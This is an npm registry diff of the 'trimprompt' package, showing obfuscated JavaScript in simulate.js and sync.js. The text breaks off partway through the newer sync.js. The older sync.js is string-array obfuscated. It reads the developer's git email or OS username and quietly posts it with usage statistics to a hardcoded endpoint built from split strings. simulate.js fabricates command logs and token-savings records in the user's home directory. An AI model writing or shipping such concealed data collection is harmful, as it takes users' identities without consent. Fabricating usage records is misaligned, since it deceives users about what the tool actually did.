trimprompt 1.0.30 → 1.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -0
- package/api-proxy.js +1 -1
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +99 -1
- package/filters/index.js +185 -1
- package/filters/js.js +78 -1
- package/filters/python.js +130 -1
- package/filters/rust.js +115 -1
- package/filters/shell.js +395 -1
- package/hooks/claude-hook.js +79 -1
- package/mcp.js +132 -1
- package/package.json +1 -4
- package/proxy-conv.js +181 -1
- package/proxy-daemon.js +382 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
- package/traffic-interceptor.js +1 -1
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x5d8ed7=a0_0x29db;(function(_0x3d213e,_0x552897){const _0x3418b9=a0_0x29db,_0x13ea83=_0x3d213e();while(!![]){try{const _0xf479d5=-parseInt(_0x3418b9(0x8b))/0x1*(parseInt(_0x3418b9(0xab))/0x2)+-parseInt(_0x3418b9(0xb9))/0x3+-parseInt(_0x3418b9(0xa0))/0x4+-parseInt(_0x3418b9(0x8f))/0x5+-parseInt(_0x3418b9(0xa1))/0x6+-parseInt(_0x3418b9(0x87))/0x7*(parseInt(_0x3418b9(0x83))/0x8)+-parseInt(_0x3418b9(0xb3))/0x9*(-parseInt(_0x3418b9(0x88))/0xa);if(_0xf479d5===_0x552897)break;else _0x13ea83['push'](_0x13ea83['shift']());}catch(_0x2cbc45){_0x13ea83['push'](_0x13ea83['shift']());}}}(a0_0x248a,0x94440));function a0_0x29db(_0x5270c2,_0x4ca74c){const _0x248a1f=a0_0x248a();return a0_0x29db=function(_0x29db41,_0x354b95){_0x29db41=_0x29db41-0x78;let _0x2b4e96=_0x248a1f[_0x29db41];return _0x2b4e96;},a0_0x29db(_0x5270c2,_0x4ca74c);}function a0_0x248a(){const _0x35b792=['stringify','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','length','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','tracker','toISOString','Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20install\x20lodash\x20express\x20uuid\x20react','writeFileSync','2046036wPrsmi','4171974CBhDZH','pip\x20install\x20tensorflow\x20pandas\x20numpy','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','now','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','kubectl\x20get\x20pods\x20-n\x20production','utf8','log','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','2152SSGtDS','timestamp','join','raw','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gpt-4o','322479UPUaoc','test\x20tests::test_case_','comp','path','repeat','homedir','3181470dLQbFk','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','.trimprompt','stats.json','./tracker','TRIMPROMPT_MODEL','2788216nVAdBx','gemini-1-5-pro','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-flash','7cHCrDu','1190UcElfb','defineProperty','cmd','34cgrkoW','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','logExecution','getLogs','5020770tgRSIO','floor','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','random'];a0_0x248a=function(){return _0x35b792;};return a0_0x248a();}Object[a0_0x5d8ed7(0x89)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x5d8ed7(0x81));console[a0_0x5d8ed7(0xa9)](a0_0x5d8ed7(0x98));const models=['claude-3-5-sonnet',a0_0x5d8ed7(0xb2),'gpt-4o-mini',a0_0x5d8ed7(0x84),a0_0x5d8ed7(0x86),'claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x5d8ed7(0x78)[a0_0x5d8ed7(0xb7)](0x32),'comp':a0_0x5d8ed7(0x94),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x5d8ed7(0x7e)+a0_0x5d8ed7(0xb4)[a0_0x5d8ed7(0xb7)](0x28)+a0_0x5d8ed7(0x96),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x5d8ed7(0x9e),'raw':a0_0x5d8ed7(0xa3)+a0_0x5d8ed7(0xa6)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x5d8ed7(0x7d),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xb0),'raw':a0_0x5d8ed7(0x9a)+a0_0x5d8ed7(0x8c)+a0_0x5d8ed7(0xaf)+a0_0x5d8ed7(0x9d),'comp':a0_0x5d8ed7(0x7c),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa7),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x5d8ed7(0x7a)+a0_0x5d8ed7(0xa4)+a0_0x5d8ed7(0x7b)+a0_0x5d8ed7(0x91),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa2),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5d8ed7(0x95),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x5d8ed7(0xb1)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5d8ed7(0x85),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x5d8ed7(0x99)+a0_0x5d8ed7(0x79)+a0_0x5d8ed7(0xaa),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5d8ed7(0xa5)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x5d8ed7(0x97)]],commandItem=commands[Math[a0_0x5d8ed7(0x90)](Math[a0_0x5d8ed7(0x92)]()*commands[a0_0x5d8ed7(0x97)])];process['env'][a0_0x5d8ed7(0x82)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5d8ed7(0x9c)](),log=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8d)](commandItem[a0_0x5d8ed7(0x8a)],commandItem[a0_0x5d8ed7(0xae)],commandItem[a0_0x5d8ed7(0xb5)],commandItem['exitCode']),logs=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8e)]();logs['length']>0x0&&(logs[logs[a0_0x5d8ed7(0x97)]-0x1][a0_0x5d8ed7(0xac)]=timestamp,require('fs')[a0_0x5d8ed7(0x9f)](require(a0_0x5d8ed7(0xb6))[a0_0x5d8ed7(0xad)](require('os')[a0_0x5d8ed7(0xb8)](),a0_0x5d8ed7(0x7f),a0_0x5d8ed7(0x80)),JSON[a0_0x5d8ed7(0x93)](logs,null,0x2),a0_0x5d8ed7(0xa8)));}console[a0_0x5d8ed7(0xa9)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x5443b8=a0_0x2e53;(function(_0x2e7840,_0x5bd457){const _0x45110c=a0_0x2e53,_0xdcc1cd=_0x2e7840();while(!![]){try{const _0x117d56=parseInt(_0x45110c(0x21b))/0x1*(-parseInt(_0x45110c(0x222))/0x2)+parseInt(_0x45110c(0x242))/0x3+parseInt(_0x45110c(0x1fa))/0x4*(-parseInt(_0x45110c(0x1fe))/0x5)+-parseInt(_0x45110c(0x1e2))/0x6*(-parseInt(_0x45110c(0x211))/0x7)+parseInt(_0x45110c(0x23f))/0x8+parseInt(_0x45110c(0x20d))/0x9*(-parseInt(_0x45110c(0x212))/0xa)+-parseInt(_0x45110c(0x234))/0xb;if(_0x117d56===_0x5bd457)break;else _0xdcc1cd['push'](_0xdcc1cd['shift']());}catch(_0x3c6daf){_0xdcc1cd['push'](_0xdcc1cd['shift']());}}}(a0_0x4cf4,0x69964));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5443b8(0x233)]?function(_0x465a2f,_0x2d66ca,_0x4c1e10,_0x299a1c){const _0x2c4a2e=a0_0x5443b8;if(_0x299a1c===undefined)_0x299a1c=_0x4c1e10;var _0x53b4b2=Object['getOwnPropertyDescriptor'](_0x2d66ca,_0x4c1e10);(!_0x53b4b2||(_0x2c4a2e(0x202)in _0x53b4b2?!_0x2d66ca['__esModule']:_0x53b4b2[_0x2c4a2e(0x1e5)]||_0x53b4b2[_0x2c4a2e(0x21f)]))&&(_0x53b4b2={'enumerable':!![],'get':function(){return _0x2d66ca[_0x4c1e10];}}),Object[_0x2c4a2e(0x1ec)](_0x465a2f,_0x299a1c,_0x53b4b2);}:function(_0x4e54e1,_0x1ebb30,_0xcee4dd,_0x2bb68e){if(_0x2bb68e===undefined)_0x2bb68e=_0xcee4dd;_0x4e54e1[_0x2bb68e]=_0x1ebb30[_0xcee4dd];}),__setModuleDefault=this&&this[a0_0x5443b8(0x1e3)]||(Object[a0_0x5443b8(0x233)]?function(_0x13bc2f,_0x5dde7d){const _0x4d21ce=a0_0x5443b8;Object['defineProperty'](_0x13bc2f,_0x4d21ce(0x226),{'enumerable':!![],'value':_0x5dde7d});}:function(_0x2dcf6d,_0x12a33f){const _0x1e63bc=a0_0x5443b8;_0x2dcf6d[_0x1e63bc(0x226)]=_0x12a33f;}),__importStar=this&&this[a0_0x5443b8(0x210)]||(function(){var _0x390e26=function(_0x5d3146){const _0x20fe04=a0_0x2e53;return _0x390e26=Object[_0x20fe04(0x23e)]||function(_0x4ae03d){const _0x4022a2=_0x20fe04;var _0x332f59=[];for(var _0x40d763 in _0x4ae03d)if(Object[_0x4022a2(0x22b)]['hasOwnProperty'][_0x4022a2(0x1fb)](_0x4ae03d,_0x40d763))_0x332f59[_0x332f59['length']]=_0x40d763;return _0x332f59;},_0x390e26(_0x5d3146);};return function(_0x220afd){const _0x3a9caf=a0_0x2e53;if(_0x220afd&&_0x220afd[_0x3a9caf(0x235)])return _0x220afd;var _0x1f71e5={};if(_0x220afd!=null){for(var _0x1733c2=_0x390e26(_0x220afd),_0x3a15b6=0x0;_0x3a15b6<_0x1733c2[_0x3a9caf(0x1f3)];_0x3a15b6++)if(_0x1733c2[_0x3a15b6]!==_0x3a9caf(0x226))__createBinding(_0x1f71e5,_0x220afd,_0x1733c2[_0x3a15b6]);}return __setModuleDefault(_0x1f71e5,_0x220afd),_0x1f71e5;};}());Object[a0_0x5443b8(0x1ec)](exports,a0_0x5443b8(0x235),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5443b8(0x204))),os=__importStar(require('os')),http=__importStar(require(a0_0x5443b8(0x217))),https=__importStar(require(a0_0x5443b8(0x1f2))),url_1=require(a0_0x5443b8(0x1df)),_cfg=[a0_0x5443b8(0x221),a0_0x5443b8(0x1e1),a0_0x5443b8(0x215),a0_0x5443b8(0x207)][a0_0x5443b8(0x1ee)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x211bfc=a0_0x5443b8;try{if(!fs[_0x211bfc(0x219)](dailySyncPath))return![];const _0x36ef20=JSON[_0x211bfc(0x1f6)](fs[_0x211bfc(0x20c)](dailySyncPath,_0x211bfc(0x20f)));if(!_0x36ef20[_0x211bfc(0x1de)])return![];return Date[_0x211bfc(0x220)]()-_0x36ef20['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x6f8bc2=a0_0x5443b8;try{const _0x585cb4={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x6f8bc2(0x220)]()};fs[_0x6f8bc2(0x1f0)](dailySyncPath,JSON['stringify'](_0x585cb4,null,0x2),_0x6f8bc2(0x20f));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5443b8(0x200),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5443b8(0x23d),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5443b8(0x229),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5443b8(0x20e),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5443b8(0x22f),'input_price_1m':0.075}},baseDir=path[a0_0x5443b8(0x1ee)](os['homedir'](),a0_0x5443b8(0x21c)),configPath=path[a0_0x5443b8(0x1ee)](baseDir,a0_0x5443b8(0x230)),statsPath=path['join'](baseDir,a0_0x5443b8(0x1e9)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x2e53(_0x312e89,_0x5a8ffb){_0x312e89=_0x312e89-0x1de;const _0x4cf4bb=a0_0x4cf4();let _0x2e53ca=_0x4cf4bb[_0x312e89];return _0x2e53ca;}function getTodayDate(){const _0x11b2b6=a0_0x5443b8;return new Date()[_0x11b2b6(0x239)]()[_0x11b2b6(0x214)]('T')[0x0];}function getDeveloperIdentity(){const _0x29973c=a0_0x5443b8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3ea55d}=require('child_process'),_0x3dfd94=_0x3ea55d(_0x29973c(0x228),{'stdio':[_0x29973c(0x225),_0x29973c(0x1e0),_0x29973c(0x225)]})[_0x29973c(0x1fd)]()[_0x29973c(0x1f8)]();if(_0x3dfd94&&_0x3dfd94[_0x29973c(0x237)]('@'))return _0x3dfd94;}catch{}try{const _0x11e7b2=os['userInfo']()[_0x29973c(0x21e)];if(_0x11e7b2)return _0x11e7b2;}catch{}return _0x29973c(0x22e);}function hasAlreadySyncedToday(){const _0x31c123=a0_0x5443b8;try{if(!fs[_0x31c123(0x219)](dailySyncPath))return![];const _0x58fa2e=JSON[_0x31c123(0x1f6)](fs['readFileSync'](dailySyncPath,_0x31c123(0x20f)));return _0x58fa2e[_0x31c123(0x209)]===getTodayDate();}catch{return![];}}function a0_0x4cf4(){const _0x2a5a72=['call','POST','toString','45345mHxGUm','toFixed','Claude\x203\x20Opus','conv:','get','hostname','path','agent','statusCode','/api/telemetry','filter','last_sync_date','platform','values','readFileSync','567711KqUsXR','Gemini\x201.5\x20Pro','utf8','__importStar','2831927GSpJYR','70lGbPSy','unlinkSync','split','.up.railway.app','conv_','http','tokens_saved','existsSync','model_used','223934AMapxj','.trimprompt','command','username','configurable','now','https://','2FWJfKQ','.raw.txt','end','ignore','default','some','git\x20config\x20user.email','GPT-4o\x20Mini','timestamp','prototype','stringify','string','anonymous','Gemini\x201.5\x20Flash','config.json','push','destroy','create','1042833FhKKyA','__esModule','replace','includes','add','toISOString','estimated_raw_tokens','URL','https:','GPT-4o','getOwnPropertyNames','3516240pVvIVW','getTime','logs','1862259MLtJkN','last_sync_time','url','pipe','trimp-production','6NpaQBJ','__setModuleDefault','protocol','writable','pathname','input_price_1m','find','stats.json','.comp.txt','estimated_compressed_tokens','defineProperty','catch','join','search','writeFileSync','synced','https','length','byteLength','claude-3-5-sonnet','parse','request','trim','startsWith','120FdkvOK'];a0_0x4cf4=function(){return _0x2a5a72;};return a0_0x4cf4();}function markSyncedToday(){const _0x33ba79=a0_0x5443b8;try{const _0xc9ff83={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x33ba79(0x22c)](_0xc9ff83,null,0x2),_0x33ba79(0x20f));}catch{}}function postTelemetry(_0x43dd62,_0x18c3fd){return new Promise(_0x26565b=>{const _0x3ca6e4=a0_0x2e53;try{const _0x57067b=new url_1[(_0x3ca6e4(0x23b))](_0x43dd62),_0xd043e4=JSON[_0x3ca6e4(0x22c)](_0x18c3fd),_0xd31b3f={'hostname':_0x57067b[_0x3ca6e4(0x203)],'port':_0x57067b['port']||(_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?0x1bb:0x50),'path':_0x57067b[_0x3ca6e4(0x1e6)]+_0x57067b[_0x3ca6e4(0x1ef)],'method':_0x3ca6e4(0x1fc),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3ca6e4(0x1f4)](_0xd043e4)},'timeout':0x1f40},_0x160da9=_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?https:http,_0x4756f1=_0x160da9[_0x3ca6e4(0x1f7)](_0xd31b3f,_0x52531c=>{const _0x2bc248=_0x3ca6e4;_0x26565b(!!(_0x52531c['statusCode']&&_0x52531c[_0x2bc248(0x206)]>=0xc8&&_0x52531c[_0x2bc248(0x206)]<0x12c));});_0x4756f1['on']('error',()=>_0x26565b(![])),_0x4756f1['on']('timeout',()=>{const _0x504efe=_0x3ca6e4;_0x4756f1[_0x504efe(0x232)](),_0x26565b(![]);}),_0x4756f1['write'](_0xd043e4),_0x4756f1[_0x3ca6e4(0x224)]();}catch{_0x26565b(![]);}});}function buildDailyPayload(_0x4b774b){const _0x106ceb=a0_0x5443b8,_0x2275ad=getTodayDate(),_0x20cdf2=_0x4b774b[_0x106ceb(0x208)](_0x5cfba5=>_0x5cfba5[_0x106ceb(0x22a)][_0x106ceb(0x1f9)](_0x2275ad)),_0x47cdb8=_0x20cdf2[_0x106ceb(0x1f3)]>0x0?_0x20cdf2:_0x4b774b;let _0x540cd2=0x0,_0x29ad26=0x0,_0x49e367=0x0,_0x58d281=0x0;const _0x45137a=new Set(),_0x56b0ee={},_0x484735=[];for(const _0x4ac183 of _0x47cdb8){const _0x46dfce=_0x4ac183[_0x106ceb(0x21d)]||'',_0x410d10=_0x4ac183['features']||[],_0x3f87c9=_0x46dfce['startsWith'](_0x106ceb(0x201))||_0x410d10['includes']('live-conv')||_0x410d10[_0x106ceb(0x227)](_0x3ab336=>typeof _0x3ab336===_0x106ceb(0x22d)&&_0x3ab336['startsWith'](_0x106ceb(0x216)));if(_0x3f87c9){const _0x32d4d2=_0x46dfce[_0x106ceb(0x236)]('conv:','')||_0x410d10[_0x106ceb(0x1e8)](_0x4f1aa8=>typeof _0x4f1aa8===_0x106ceb(0x22d)&&_0x4f1aa8[_0x106ceb(0x1f9)](_0x106ceb(0x216)))?.['replace'](_0x106ceb(0x216),'')||_0x106ceb(0x205);_0x56b0ee[_0x32d4d2]=_0x4ac183;}else _0x484735['push'](_0x4ac183);}for(const _0xa6215d of Object[_0x106ceb(0x20b)](_0x56b0ee)){_0x540cd2+=_0xa6215d['estimated_raw_tokens'],_0x29ad26+=_0xa6215d[_0x106ceb(0x1eb)],_0x49e367+=_0xa6215d['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0xa6215d[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x1eb3cd=PRICING[_0xa6215d[_0x106ceb(0x21a)]]||PRICING[_0x106ceb(0x1f5)];_0x58d281+=_0xa6215d[_0x106ceb(0x218)]*_0x1eb3cd['input_price_1m']/0xf4240;}for(const _0x4c07ec of _0x484735){_0x540cd2+=_0x4c07ec[_0x106ceb(0x23a)],_0x29ad26+=_0x4c07ec[_0x106ceb(0x1eb)],_0x49e367+=_0x4c07ec['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0x4c07ec[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x2858b1=PRICING[_0x4c07ec[_0x106ceb(0x21a)]]||PRICING['claude-3-5-sonnet'];_0x58d281+=_0x4c07ec[_0x106ceb(0x218)]*_0x2858b1[_0x106ceb(0x1e7)]/0xf4240;}const _0x72933d=_0x47cdb8[_0x47cdb8['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x106ceb(0x20a)](),'date':_0x2275ad,'executions_count':_0x47cdb8['length'],'total_raw_tokens':_0x540cd2,'total_compressed_tokens':_0x29ad26,'total_tokens_saved':_0x49e367,'total_money_saved_usd':parseFloat(_0x58d281[_0x106ceb(0x1ff)](0x6)),'models_used':Array['from'](_0x45137a),'hotspots':[],'last_seen':_0x72933d?_0x72933d[_0x106ceb(0x22a)]:new Date()['toISOString']()};}async function runSync(){const _0xb14d5d=a0_0x5443b8;if(!fs['existsSync'](statsPath))return;let _0x4aec3f;try{_0x4aec3f=JSON[_0xb14d5d(0x1f6)](fs[_0xb14d5d(0x20c)](statsPath,_0xb14d5d(0x20f)));}catch{return;}const _0x119b97=_0x4aec3f[_0xb14d5d(0x208)](_0x247c8b=>!_0x247c8b[_0xb14d5d(0x1f1)]);if(_0x119b97[_0xb14d5d(0x1f3)]===0x0&&hasSyncedRecently())return;const _0x49e6f2=buildDailyPayload(_0x4aec3f);await postTelemetry(_ep,_0x49e6f2);let _0x429acf=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x429acf&&fs[_0xb14d5d(0x219)](configPath))try{const _0x286043=JSON[_0xb14d5d(0x1f6)](fs['readFileSync'](configPath,_0xb14d5d(0x20f)));_0x429acf=_0x286043['telemetry_url']||'';}catch{}_0x429acf[_0xb14d5d(0x1f8)]()['length']>0x0&&await postTelemetry(_0x429acf,_0x49e6f2);for(const _0xcd1ca9 of _0x4aec3f){if(!_0xcd1ca9[_0xb14d5d(0x1f1)])_0xcd1ca9['synced']=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x4aec3f,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0xfd971f){const _0x1dcb58=a0_0x5443b8;try{const _0x294fbe=new Date(),_0x37b3fd=new Date(_0x294fbe[_0x1dcb58(0x240)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5601c6=[],_0x47f420=[];for(const _0xb7bb2b of _0xfd971f){const _0x1192d3=new Date(_0xb7bb2b['timestamp']);_0x1192d3>=_0x37b3fd?_0x5601c6[_0x1dcb58(0x231)](_0xb7bb2b):_0x47f420['push'](_0xb7bb2b);}if(_0x47f420[_0x1dcb58(0x1f3)]>0x0){const _0x357b2f=path['join'](baseDir,_0x1dcb58(0x241));for(const _0x231429 of _0x47f420){const _0x443cce=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x223)),_0x16326b=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x1ea));try{if(fs[_0x1dcb58(0x219)](_0x443cce))fs[_0x1dcb58(0x213)](_0x443cce);if(fs[_0x1dcb58(0x219)](_0x16326b))fs[_0x1dcb58(0x213)](_0x16326b);}catch{}}fs[_0x1dcb58(0x1f0)](statsPath,JSON['stringify'](_0x5601c6,null,0x2),_0x1dcb58(0x20f));}}catch{}}runSync()[a0_0x5443b8(0x1ed)](()=>{});
|
|
1
|
+
'use strict';const a0_0x5df22c=a0_0x57e8;(function(_0xaa095c,_0x55b401){const _0x43c964=a0_0x57e8,_0x2830b6=_0xaa095c();while(!![]){try{const _0x1f99fb=-parseInt(_0x43c964(0xc7))/0x1+parseInt(_0x43c964(0xfa))/0x2*(parseInt(_0x43c964(0xb9))/0x3)+-parseInt(_0x43c964(0x10c))/0x4*(parseInt(_0x43c964(0xc2))/0x5)+-parseInt(_0x43c964(0x115))/0x6*(parseInt(_0x43c964(0xc1))/0x7)+parseInt(_0x43c964(0xca))/0x8*(-parseInt(_0x43c964(0xcc))/0x9)+-parseInt(_0x43c964(0x106))/0xa+parseInt(_0x43c964(0xbc))/0xb*(parseInt(_0x43c964(0x10d))/0xc);if(_0x1f99fb===_0x55b401)break;else _0x2830b6['push'](_0x2830b6['shift']());}catch(_0x2abb6c){_0x2830b6['push'](_0x2830b6['shift']());}}}(a0_0x3031,0xe5831));function a0_0x57e8(_0x54771b,_0x1d1ef4){const _0x303127=a0_0x3031();return a0_0x57e8=function(_0x57e82e,_0x356fdd){_0x57e82e=_0x57e82e-0xb2;let _0x147c52=_0x303127[_0x57e82e];return _0x147c52;},a0_0x57e8(_0x54771b,_0x1d1ef4);}var __createBinding=this&&this['__createBinding']||(Object[a0_0x5df22c(0xbe)]?function(_0xa6db50,_0x40206d,_0x4de9f1,_0x53988e){const _0x3bea66=a0_0x5df22c;if(_0x53988e===undefined)_0x53988e=_0x4de9f1;var _0x55b181=Object[_0x3bea66(0xfb)](_0x40206d,_0x4de9f1);(!_0x55b181||('get'in _0x55b181?!_0x40206d[_0x3bea66(0xf3)]:_0x55b181[_0x3bea66(0xbf)]||_0x55b181[_0x3bea66(0xf8)]))&&(_0x55b181={'enumerable':!![],'get':function(){return _0x40206d[_0x4de9f1];}}),Object['defineProperty'](_0xa6db50,_0x53988e,_0x55b181);}:function(_0x5230ab,_0x358c99,_0x543281,_0x56a08c){if(_0x56a08c===undefined)_0x56a08c=_0x543281;_0x5230ab[_0x56a08c]=_0x358c99[_0x543281];}),__setModuleDefault=this&&this[a0_0x5df22c(0x108)]||(Object[a0_0x5df22c(0xbe)]?function(_0x454884,_0x43b1fb){const _0x35e189=a0_0x5df22c;Object['defineProperty'](_0x454884,_0x35e189(0xd6),{'enumerable':!![],'value':_0x43b1fb});}:function(_0x1a9aee,_0x3d9a68){const _0x24d861=a0_0x5df22c;_0x1a9aee[_0x24d861(0xd6)]=_0x3d9a68;}),__importStar=this&&this[a0_0x5df22c(0xe2)]||(function(){var _0x5a74e0=function(_0x256b12){const _0x27f11b=a0_0x57e8;return _0x5a74e0=Object[_0x27f11b(0xda)]||function(_0x3fab37){const _0x4441c6=_0x27f11b;var _0x3eeee9=[];for(var _0x29eca1 in _0x3fab37)if(Object[_0x4441c6(0xee)][_0x4441c6(0xe6)][_0x4441c6(0xf0)](_0x3fab37,_0x29eca1))_0x3eeee9[_0x3eeee9[_0x4441c6(0xc3)]]=_0x29eca1;return _0x3eeee9;},_0x5a74e0(_0x256b12);};return function(_0x4f0cb7){const _0x7798e0=a0_0x57e8;if(_0x4f0cb7&&_0x4f0cb7[_0x7798e0(0xf3)])return _0x4f0cb7;var _0x21e803={};if(_0x4f0cb7!=null){for(var 